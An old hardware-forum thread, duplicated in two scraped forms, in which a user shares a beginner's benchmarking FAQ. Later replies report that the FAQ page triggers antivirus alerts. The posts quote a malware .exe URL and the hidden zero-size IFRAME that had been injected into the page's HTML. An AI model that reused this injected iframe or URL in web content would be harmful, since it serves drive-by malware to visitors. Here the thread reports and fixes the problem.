The Benchmark F.A.Q.

No_Style · Aug 26, 2004, 08:03 PM

I have been working on this on and (mainly) off for 2 months now. College is about to start up this coming Tuesday so I thought I should release what I have of this now. I fired up Frontpage and just threw up a very simple (56K User friendly) design.

This is my Benchmark F.A.Q. Eventually it'll contain everything a novice would need to know about benchmarking. It's still rough and I still have a lot to add to it, but it contains a lot of info which I think will benefit people. I hope you all like it and find it useful.

Without further delay, click below to see it.

The Benchmark F.A.Q. - Version 0.1a

Change Log:

0.1a - Removed mysterious viral code.

Should no longer harass people now. Sorry for inconvenience.

0.1 - Initial Release (Eww

)

ww2 · Nov 16, 2004, 11:06 PM

Nice work =]

pr0digal jenius · Nov 16, 2004, 11:09 PM

nice stuff

CaptinSxb · Nov 16, 2004, 11:32 PM

Very informative, good job!

No_Style · Nov 17, 2004, 02:35 AM

I like how it gets noticed eons after I posted it

But this is incentive for me to keep working on it.

mkk · Nov 17, 2004, 03:31 AM

It probably just got lost amongst other concurrent threads the first time, or mistaken for a news post about an FAQ elsewhere.

Glanced over it and all seems informative and well written.

A tiny suggestion about the 2.0.7 bottleneck point, to somehow stress that the bottleneck of a system varies in between applications. While that is also made pretty clear elsewhere it is something that many freshmen benchmarkers don't realise right away.

HD Tach can be found here: http://www.simplisoftware.com/Public...request=HdTach While it is not a tool that a hyper serious review site like Storagereview.com uses to test drives it still has some use in that it gives off low level performance numbers that can be useful for troubleshooting as much as a rough performance test.

No_Style · Nov 17, 2004, 03:34 AM

Yeah, it's a good tool and I was gonna throw it in, but amongst the lack of feedback, I got discouraged and didn't go on with it. It's been sitting on the back of my To Do list amongst other things in my life. I hope to update it at least once (a major update) by the end of the year. Thanks for the kind words, all

drakesteakn · Nov 17, 2004, 04:24 AM

looks good, sorry for not seeing it till now.

No_Style · Nov 17, 2004, 04:44 AM

Before I forget... If anybody wants to help me without, by all means PM.

IvanV · Dec 30, 2004, 03:10 PM

It's gone! Where? How?! Why!?!
Never mind...
Could you just put it back so that I (probably someone else as well) could read it? Thanx!

No_Style · Dec 30, 2004, 03:32 PM

Quote:

Originally Posted by IvanV

It's gone! Where? How?! Why!?!
Never mind...
Could you just put it back so that I (probably someone else as well) could read it? Thanx!

I didn't realize the host went down, sorry. I'll check up on that and get it up ASAP.

EDIT: It's back up.

IvanV · Jan 2, 2005, 10:58 AM

Nice work! Rather basic, but, for anyone new to benching, quite useful.

gengusken · Jun 5, 2005, 08:07 PM

I know its an old post, [color=red]but my virus checker lit up[/color] when I opened the link

to the FAQ

No_Style · Jun 5, 2005, 11:55 PM

What virus scanner? This FAQ was made with FrontPage 2003..and should not contain any "viral content" I'm using SAV10 and it doesn't pick up a thing.

kafkacell · Jun 19, 2005, 12:56 PM

yes, the link contains a trojan, when I open the link it goes to your page, but also start to download a file .exe from this page: (don't open it)

Code:

[color=#0000ff]http://crazy-toolbar.com/w3bmoney/62/soft.exe[/color]

DONT OPEN IT IT'S A VIRUS!!!!

Im using McAfee 9.0

I don't wanna think that someone from DH did it on purpose.

cheers, and I know the post it's pretty old.

Lelisevis · Jun 19, 2005, 01:04 PM

Shut it down quick, it's absolutely virus riddled. AntiVir is going ballistic on my screen LOL. Looks as though someone doesnt appreciate your work. Bastards.

Edit: Just tried it again for you and im getting 13 popups and trojan attempts.

New Edit: Problem resolved link is clean.

UnIcOrN · Jun 19, 2005, 01:30 PM

Indeed, same here.. I use McAfee 2005 and kept coming up with pop-ups.. As soon as i closed your site, it stopped.

Hopefully you find what is causing it.

No_Style · Jun 19, 2005, 04:06 PM

Alright. I'll take it down and investigate this.. Thanks, all.

Update: I tried it with Opera, nothing. Tried it with IE/Maxthon, blamo SAV10 was going ballastic. What the deuce, indeed.

Update 1: Somebody added this:

Code:

<IFRAME SRC=http://www.crazy-toolbar.com/home/w3bmoney/ WIDTH=0 BORDER=0 HEIGHT=0></IFRAME>

To the bottom of my HTML. Fixed now, it should no longer harass you all. Thanks! I think I'll work on the FAQ sometime soon as well

I appologize for not believing you in the first place. I was using Opera and it did not harass me.

Lelisevis · Jun 19, 2005, 09:02 PM

Ok i'd just like to confirm i've checked the link and it's now clean. I'll be deleting my post above. While im on i'd just like to say very informative F.A.Q No_style keep up the good work.

kafkacell · Jun 20, 2005, 12:29 AM

I guess is still there, or is only saved in my cache server:

I tried IExplorer and it was there, Im using firefox

and it was there too.

the code that I've found at the end of the HTML:

Code:

 </html><IFRAME SRC=http://www.crazy-toolbar.com/home/w3bmoney/ WIDTH=0 BORDER=0 HEIGHT=0></IFRAME>

the only thing that I guess is that it is still in my server cache

No_Style · Jun 20, 2005, 12:33 AM

Try refreshing the page. Because I removed that line. I'm still curious as to how it got there

kafkacell · Jun 20, 2005, 12:41 AM

I did it

, but I'm shure that the page is stored in my server, I mean my ISP is a linux server providing me and other clients internet service, but the owner uses the 80 Gb hard drive as the cache for better web browsing, so the virus is there

anyway keep making such a good work

kind regards

Aug 26, 2004, 08:03 PM	#1
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	The Benchmark F.A.Q. I have been working on this on and (mainly) off for 2 months now. College is about to start up this coming Tuesday so I thought I should release what I have of this now. I fired up Frontpage and just threw up a very simple (56K User friendly) design. This is my Benchmark F.A.Q. Eventually it'll contain everything a novice would need to know about benchmarking. It's still rough and I still have a lot to add to it, but it contains a lot of info which I think will benefit people. I hope you all like it and find it useful. Without further delay, click below to see it. The Benchmark F.A.Q. - Version 0.1a Change Log: 0.1a - Removed mysterious viral code. Should no longer harass people now. Sorry for inconvenience. 0.1 - Initial Release (Eww ) __________________ "The Best Style Is No Style" Specifications Here Last edited by No_Style; Jun 19, 2005 at 04:15 PM.

Nov 16, 2004, 11:06 PM	#2
ww2 DriverHeaven Junior Member Join Date: Nov 2004 Posts: 36 Rep Power: 0	Nice work =] __________________ Asus Radeon 9600 XT (128 mb) Athlon XP 1800+ (~1.5 ghz) ECS K7S5A revision 3.1 Windows XP Pro with SP2

Nov 16, 2004, 11:32 PM	#4
CaptinSxb DriverHeaven Senior Member Join Date: Aug 2004 Location: Good Ol' U.S. of A. Posts: 404 Rep Power: 0	Very informative, good job! __________________ A64-3200; x800xl; a couple other things ; and a floppy drive

Nov 17, 2004, 02:35 AM	Thread Starter #5
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	I like how it gets noticed eons after I posted it But this is incentive for me to keep working on it. __________________ "The Best Style Is No Style" Specifications Here

Nov 17, 2004, 03:34 AM	Thread Starter #7
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	Yeah, it's a good tool and I was gonna throw it in, but amongst the lack of feedback, I got discouraged and didn't go on with it. It's been sitting on the back of my To Do list amongst other things in my life. I hope to update it at least once (a major update) by the end of the year. Thanks for the kind words, all __________________ "The Best Style Is No Style" Specifications Here

Nov 16, 2004, 11:09 PM	#3
pr0digal jenius Delete Me Join Date: Mar 2004 Posts: 14,648 Rep Power: 0	nice stuff

Nov 17, 2004, 03:31 AM	#6
mkk Cthulhu/Dagon 2012 Join Date: Oct 2003 Location: Gefle, Sweden Posts: 4,489 Rep Power: 132 System Specs	It probably just got lost amongst other concurrent threads the first time, or mistaken for a news post about an FAQ elsewhere. Glanced over it and all seems informative and well written. A tiny suggestion about the 2.0.7 bottleneck point, to somehow stress that the bottleneck of a system varies in between applications. While that is also made pretty clear elsewhere it is something that many freshmen benchmarkers don't realise right away. HD Tach can be found here: http://www.simplisoftware.com/Public...request=HdTach While it is not a tool that a hyper serious review site like Storagereview.com uses to test drives it still has some use in that it gives off low level performance numbers that can be useful for troubleshooting as much as a rough performance test.

Nov 17, 2004, 04:24 AM	#8
drakesteakn boo!!!! Join Date: Aug 2003 Location: Ft. Meyers, FL Posts: 2,041 Rep Power: 0	looks good, sorry for not seeing it till now. __________________

Nov 17, 2004, 04:44 AM	Thread Starter #9
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	Before I forget... If anybody wants to help me without, by all means PM. __________________ "The Best Style Is No Style" Specifications Here

Dec 30, 2004, 03:10 PM	#10
IvanV HH Assassin Guild Member Join Date: Dec 2004 Posts: 5,908 Rep Power: 333 System Specs	Well, where is it? It's gone! Where? How?! Why!?! Never mind... Could you just put it back so that I (probably someone else as well) could read it? Thanx!

Jan 2, 2005, 10:58 AM	#12
IvanV HH Assassin Guild Member Join Date: Dec 2004 Posts: 5,908 Rep Power: 333 System Specs	Thank you, No Style! Nice work! Rather basic, but, for anyone new to benching, quite useful.

Jun 5, 2005, 08:07 PM	#13
gengusken DriverHeaven Newbie Join Date: Jun 2005 Posts: 1 Rep Power: 0	I know its an old post, [color=red]but my virus checker lit up[/color] when I opened the link to the FAQ

Jun 5, 2005, 11:55 PM	Thread Starter #14
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	What virus scanner? This FAQ was made with FrontPage 2003..and should not contain any "viral content" I'm using SAV10 and it doesn't pick up a thing. __________________ "The Best Style Is No Style" Specifications Here

Jun 19, 2005, 12:56 PM	#15
kafkacell DriverHeaven Lover Join Date: Apr 2005 Location: La Ciudad de la Furia, Venezuela Posts: 185 Rep Power: 0	yes, the link contains a trojan, when I open the link it goes to your page, but also start to download a file .exe from this page: (don't open it) Code: [color=#0000ff]http://crazy-toolbar.com/w3bmoney/62/soft.exe[/color] DONT OPEN IT IT'S A VIRUS!!!! Im using McAfee 9.0 I don't wanna think that someone from DH did it on purpose. cheers, and I know the post it's pretty old. __________________ [COLOR=blue]AMD Athlon 64 X2 5000+ MSI K9N4 Ultra 2x1GB DDR2 800 Mushkin Sapphire x1950Pro 256 MB Western Digital 250 GB Sata II 16 mB Pioneer DVR-110DBK Creative Audigy 2 ZS Creative Inspire 6.1 6600 Razer Diamonback Salamander Red Thermaltake TR2 430 Watts +12V=18A Win XP Pro SP2[/COLOR] Last edited by kafkacell; Jun 19, 2005 at 01:34 PM.

Jun 19, 2005, 01:04 PM	#16
Lelisevis Howlin at the moon Join Date: Sep 2003 Posts: 1,663 Rep Power: 0	Shut it down quick, it's absolutely virus riddled. AntiVir is going ballistic on my screen LOL. Looks as though someone doesnt appreciate your work. Bastards. Edit: Just tried it again for you and im getting 13 popups and trojan attempts. New Edit: Problem resolved link is clean. Last edited by Lelisevis; Jun 19, 2005 at 09:03 PM.

Jun 19, 2005, 01:30 PM	#17
UnIcOrN HardwareHeaven Lover Join Date: Jul 2002 Location: Netherlands Posts: 239 Rep Power: 0	Indeed, same here.. I use McAfee 2005 and kept coming up with pop-ups.. As soon as i closed your site, it stopped. Hopefully you find what is causing it. __________________ [COLOR=white][COLOR=#000000][/COLOR][/COLOR]

Jun 19, 2005, 04:06 PM	Thread Starter #18
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	Alright. I'll take it down and investigate this.. Thanks, all. Update: I tried it with Opera, nothing. Tried it with IE/Maxthon, blamo SAV10 was going ballastic. What the deuce, indeed. Update 1: Somebody added this: Code: <IFRAME SRC=http://www.crazy-toolbar.com/home/w3bmoney/ WIDTH=0 BORDER=0 HEIGHT=0></IFRAME> To the bottom of my HTML. Fixed now, it should no longer harass you all. Thanks! I think I'll work on the FAQ sometime soon as well I appologize for not believing you in the first place. I was using Opera and it did not harass me. __________________ "The Best Style Is No Style" Specifications Here Last edited by No_Style; Jun 19, 2005 at 04:18 PM.

Jun 19, 2005, 09:02 PM	#19
Lelisevis Howlin at the moon Join Date: Sep 2003 Posts: 1,663 Rep Power: 0	Ok i'd just like to confirm i've checked the link and it's now clean. I'll be deleting my post above. While im on i'd just like to say very informative F.A.Q No_style keep up the good work.

Jun 20, 2005, 12:29 AM	#20
kafkacell DriverHeaven Lover Join Date: Apr 2005 Location: La Ciudad de la Furia, Venezuela Posts: 185 Rep Power: 0	I guess is still there, or is only saved in my cache server: I tried IExplorer and it was there, Im using firefox and it was there too. the code that I've found at the end of the HTML: Code: </html><IFRAME SRC=http://www.crazy-toolbar.com/home/w3bmoney/ WIDTH=0 BORDER=0 HEIGHT=0></IFRAME> the only thing that I guess is that it is still in my server cache __________________ [COLOR=blue]AMD Athlon 64 X2 5000+ MSI K9N4 Ultra 2x1GB DDR2 800 Mushkin Sapphire x1950Pro 256 MB Western Digital 250 GB Sata II 16 mB Pioneer DVR-110DBK Creative Audigy 2 ZS Creative Inspire 6.1 6600 Razer Diamonback Salamander Red Thermaltake TR2 430 Watts +12V=18A Win XP Pro SP2[/COLOR]

Jun 20, 2005, 12:33 AM	Thread Starter #21
No_Style Styleless Wonder Join Date: Jun 2002 Location: Ottawa, Ontario Posts: 6,034 Rep Power: 0	Try refreshing the page. Because I removed that line. I'm still curious as to how it got there __________________ "The Best Style Is No Style" Specifications Here

Jun 20, 2005, 12:41 AM	#22
kafkacell DriverHeaven Lover Join Date: Apr 2005 Location: La Ciudad de la Furia, Venezuela Posts: 185 Rep Power: 0	I did it , but I'm shure that the page is stored in my server, I mean my ISP is a linux server providing me and other clients internet service, but the owner uses the 80 Gb hard drive as the cache for better web browsing, so the virus is there anyway keep making such a good work kind regards __________________ [COLOR=blue]AMD Athlon 64 X2 5000+ MSI K9N4 Ultra 2x1GB DDR2 800 Mushkin Sapphire x1950Pro 256 MB Western Digital 250 GB Sata II 16 mB Pioneer DVR-110DBK Creative Audigy 2 ZS Creative Inspire 6.1 6600 Razer Diamonback Salamander Red Thermaltake TR2 430 Watts +12V=18A Win XP Pro SP2[/COLOR]